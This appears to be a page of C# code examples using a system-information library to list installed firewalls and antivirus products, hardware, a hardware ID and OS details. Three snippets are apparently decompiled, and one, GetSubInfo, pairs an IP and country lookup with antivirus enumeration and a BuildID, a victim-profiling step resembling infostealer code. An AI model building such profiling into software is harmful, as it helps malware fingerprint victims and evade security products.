Beispiel #1
0
        private static void GathererExample()
        {
            // Security Gatherer
            ICollection <SecurityProduct> firewalls = SecurityGatherer.GetSecurityProducts(SecurityProductType.Firewall);
            var antiviruses = SecurityGatherer.GetSecurityProducts(SecurityProductType.AntiVirus);
            var antispyware = SecurityGatherer.GetSecurityProducts(SecurityProductType.AntiSpyware);

            foreach (var fw in firewalls)
            {
                Console.WriteLine(fw.Name);
            }

            foreach (var av in antiviruses)
            {
                Console.WriteLine(av.Name);
            }

            foreach (var asw in antispyware)
            {
                Console.WriteLine(asw.Name);
            }

            //Hardware Gatherer
            var   graphicsCards = HardwareGatherer.GetGraphicsCards();
            var   processors    = HardwareGatherer.GetProcessors();
            var   ramSticks     = HardwareGatherer.GetRamSticks();
            ulong?totalRam      = HardwareGatherer.GetTotalMemoryCapacity();

            foreach (var card in graphicsCards)
            {
                Console.WriteLine($"{card.Name}: {card.MemoryCapacity}");
            }

            foreach (var proc in processors)
            {
                Console.WriteLine($"{proc.Name}: Cores: {proc.NumberOfCores} Voltage: {proc.Voltage}");
            }

            foreach (var ram in ramSticks)
            {
                Console.WriteLine($"{ram.PositionInRow}: {ram.Capacity}");
            }

            Console.WriteLine(totalRam);


            string hwid = HardwareGatherer.GetHwid(HwidStrength.Medium);

            Console.WriteLine(hwid);

            // OS Gatherer
            string caption    = OsGatherer.GetCaption();
            string bootDevice = OsGatherer.GetBootDevice();

            Console.WriteLine(caption);
            Console.WriteLine(bootDevice);

            // Other gatherers not covered...
        }
Beispiel #2
0
        // Token: 0x06000022 RID: 34 RVA: 0x00002E4C File Offset: 0x0000104C
        private static IEnumerable <string> ParseSpyWares()
        {
            List <string> list = new List <string>();

            try
            {
                foreach (SecurityProduct securityProduct in SecurityGatherer.GetSecurityProducts(1))
                {
                    list.Add(securityProduct.Name);
                }
            }
            catch
            {
            }
            return(list);
        }
Beispiel #3
0
        // Token: 0x06000021 RID: 33 RVA: 0x00002DE0 File Offset: 0x00000FE0
        public static IEnumerable <string> ParseAntiViruses()
        {
            List <string> list = new List <string>();

            try
            {
                foreach (SecurityProduct securityProduct in SecurityGatherer.GetSecurityProducts(0))
                {
                    list.Add(securityProduct.Name);
                }
            }
            catch
            {
            }
            return(list);
        }
Beispiel #4
0
        // Token: 0x06000092 RID: 146 RVA: 0x00004624 File Offset: 0x00002824
        public static SubInfo GetSubInfo(string buildID)
        {
            NetInfo netInfo = new WebClient().DownloadString("https://ipinfo.io/json").ParseJSON <NetInfo>();
            string  text    = MainModule.OsName();

            text = MainModule.NormalizeWithSplitAndJoin(string.Join <char>(string.Empty, from x in text.Trim()
                                                                           where !"йцукенгшщзхъфывапролджэячсмитьбюЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ".Contains(x)
                                                                           select x).Trim());
            SubInfo subInfo = new SubInfo();

            subInfo.Country          = netInfo.country;
            subInfo.IpAdress         = netInfo.ip;
            subInfo.Processor        = MainModule.ProcessorName();
            subInfo.OS               = text;
            subInfo.VideoCard        = MainModule.VideoCard();
            subInfo.HWID             = HWID.Generate();
            subInfo.BuildID          = buildID;
            subInfo.SystemSecurities = (from x in SecurityGatherer.GetSecurityProducts(0)
                                        select x.Name).ToList <string>();
            return(subInfo);
        }